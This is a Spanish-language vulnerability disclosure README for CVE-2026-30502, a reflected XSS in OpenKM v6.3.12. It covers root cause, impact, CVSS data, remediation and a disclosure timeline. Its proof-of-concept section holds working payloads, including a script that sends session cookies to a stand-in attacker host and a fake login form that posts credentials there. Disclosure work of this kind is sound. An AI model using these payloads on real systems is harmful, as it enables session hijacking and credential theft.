
Documentación y prueba de concepto para CVE-2026-30502, una vulnerabilidad XSS reflejado en OpenKM v6.3.12. Incluye análisis técnico, causa raíz, evaluación de impacto y orientación de remediación para investigadores de seguridad y probadores de penetración.
Descubierto e informado por Dharmendra Kumar — Investigador de Seguridad
Ciberseguridad | Pruebas de Penetración | Investigación de Vulnerabilidades | Divulgación Responsable
Este repositorio documenta la divulgación responsable de CVE-2026-30502, una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) identificada en OpenKM v6.3.12 — un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales y gubernamentales.
La vulnerabilidad existe en el parámetro Content, que refleja la entrada proporcionada por el usuario de vuelta al navegador sin una sanitización o codificación de salida adecuada. Un atacante puede crear una URL maliciosa que contenga JavaScript incrustado y engañar a una víctima para que haga clic en ella, lo que resulta en la ejecución del script dentro de la sesión del navegador de la víctima.
⚠️ Gravedad: Medio–Alto | Vector de Ataque: Red | Privilegios Requeridos: Ninguno | Interacción del Usuario: Requerida
OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas en todo el mundo.
v6.3.12Se identificó una vulnerabilidad de Cross-Site Scripting Reflejado (XSS) en OpenKM v6.3.12 a través del parámetro Content. La aplicación no valida ni codifica la entrada proporcionada por el usuario antes de reflejarla en el cuerpo de la respuesta HTTP, lo que permite inyectar y ejecutar JavaScript arbitrario en el navegador de la víctima.
A diferencia del XSS Almacenado, la carga útil del XSS Reflejado no se persiste en la base de datos — en su lugar, viaja dentro de una URL manipulada. El ataque depende de que la víctima sea engañada para hacer clic en un enlace malicioso (entregado por correo electrónico, redes sociales o campañas de phishing), tras lo cual la carga útil se ejecuta silenciosamente en su navegador con el contexto de la sesión de la víctima.
El atacante crea una URL maliciosa
│
▼
La víctima hace clic en el enlace (phishing / ingeniería social)
│
▼
El navegador envía una solicitud GET/POST con la carga útil en el parámetro `Content`
│
▼
OpenKM refleja la entrada sin sanitizar directamente en la respuesta HTML
│
▼
El navegador analiza y ejecuta el JavaScript inyectado
│
▼
Sesión secuestrada / credenciales robadas / cuenta comprometida
La vulnerabilidad se debe a que la aplicación no aplica controles de seguridad de entrada-salida en el parámetro Content:
URL creada por el usuario ──► Parámetro Content ──► [SIN Validación]
──► Reflejado en la Respuesta HTML ──► [SIN Codificación]
──► El Navegador Ejecuta el Script ──► Cuenta Comprometida
Una explotación exitosa de esta vulnerabilidad puede llevar a:
⚠️ Aviso: La siguiente información se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No pruebe ni utilice esto contra sistemas que no posea o para los cuales no tenga autorización explícita por escrito.
// Prueba básica de ejecución
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Exfiltración de cookie de sesión
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Superposición de phishing de credenciales
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Usuario"/>'
+'<input name="p" type="password" placeholder="Contraseña"/>'
+'<button>Iniciar Sesión</button></form>';
document.body.prepend(d);
</script>
https://instancia-openkm-objetivo/[endpoint-vulnerable]?Content=<script>alert(1)</script>
ContentContentSe siguieron principios completos de divulgación responsable durante todo este proceso, incluyendo la coordinación con el proveedor y la interacción con el Programa CVE antes de cualquier publicación pública.
Investigador de Seguridad | Probador de Penetración | Cazador de Bugs | Contribuyente de CVE
Dharmendra Kumar es un investigador de ciberseguridad independiente especializado en seguridad de aplicaciones web, pruebas de penetración y divulgación responsable de vulnerabilidades. Su investigación se centra en identificar e informar de manera responsable fallos de seguridad reales en software ampliamente utilizado, contribuyendo a aplicaciones más seguras para los usuarios a nivel global.
Áreas de Especialización:
Conéctate conmigo:
Este repositorio está destinado únicamente para fines educativos e informativos. Los detalles de la vulnerabilidad y las cargas útiles de prueba de concepto se publican de acuerdo con los principios de divulgación responsable. El autor no respalda ni se hace responsable de ningún uso no autorizado de esta información. Siempre obtenga permiso explícito por escrito antes de realizar pruebas de seguridad en cualquier sistema que no posea.
Agradecimientos especiales a:
⭐ Si esta investigación te ha ayudado, por favor considera darle una estrella a este repositorio.
Investigación en seguridad compartida abiertamente para hacer la web más segura para todos.
© 2026 Dharmendra Kumar — Todos los derechos reservados
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-30502 |
| Producto | OpenKM |
| Versión Afectada | v6.3.12 |
| Clase de Vulnerabilidad | Cross-Site Scripting Reflejado (XSS) |
| Parámetro Vulnerable | Content |
| CWE | CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Gravedad | Medio–Alto |
| Editor | Programa CVE de MITRE |
| Investigador | Dharmendra Kumar |
| Tipo de Divulgación | Responsable / Coordinada |
| Debilidad | Descripción |
|---|
| ❌ Sin Validación de Entrada | El parámetro Content acepta caracteres HTML/JavaScript sin restricción ni filtrado |
| ❌ Sin Codificación de Salida | Los valores reflejados se escriben en la respuesta HTML sin codificación de entidades HTML |
| ❌ Falta de Cabecera CSP | No se aplica una Política de Seguridad de Contenido para bloquear la ejecución de scripts en línea |
| ❌ Sin Cookies HTTPOnly | Los tokens de sesión son accesibles vía JavaScript, permitiendo el robo directo de cookies |
| Riesgo | Descripción |
|---|
| 🍪 Secuestro de Sesión | Robar tokens de sesión activos mediante document.cookie para suplantar a la víctima |
| 🔑 Robo de Credenciales | Inyectar superposiciones falsas de inicio de sesión para capturar nombres de usuario y contraseñas en texto plano |
| 📤 Divulgación de Información | Exfiltrar contenido de documentos sensibles, datos de usuario o configuraciones internas |
| 🎣 Ataques de Phishing | Servir páginas falsas convincentes alojadas dentro del dominio confiable de OpenKM |
| 👤 Toma de Cuentas | Realizar acciones autenticadas arbitrarias en nombre de la víctima |
| ⚙️ Acciones No Autorizadas | Modificar, eliminar o exfiltrar documentos dentro del DMS |
| 🖥️ Distribución de Malware | Redirigir a las víctimas a sitios controlados por el atacante que alojan descargas maliciosas |
| Recomendación | Implementación |
|---|
| ✅ Validación de Entrada | Rechazar o eliminar caracteres especiales HTML (<, >, ", ', ;) de todos los parámetros controlados por el usuario |
| ✅ Codificación de Salida | Aplicar codificación HTML sensible al contexto utilizando bibliotecas como OWASP Java Encoder antes de renderizar datos reflejados |
| ✅ Política de Seguridad de Contenido | Implementar una cabecera CSP estricta: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ Cookies HTTPOnly | Establecer las banderas HttpOnly y Secure en todas las cookies de sesión para bloquear el acceso desde JavaScript |
| ✅ Bibliotecas de Seguridad | Integrar OWASP AntiSamy o DOMPurify para una sanitización robusta |
| ✅ Actualización | Aplicar el parche de seguridad más reciente publicado por el proveedor de inmediato |
| Fecha | Evento |
|---|
| 🔍 Descubrimiento | Vulnerabilidad identificada durante la evaluación de seguridad de OpenKM v6.3.12 |
| 📧 Notificación al Proveedor | Informe de divulgación responsable enviado al equipo de seguridad de OpenKM |
| 🤝 Reconocimiento del Proveedor | El equipo de OpenKM reconoció el informe de vulnerabilidad |
| 📝 Asignación de CVE | CVE-2026-30502 asignado a través del Programa CVE de MITRE |
| 🌐 Divulgación Pública | Divulgación pública coordinada tras el período de remediación |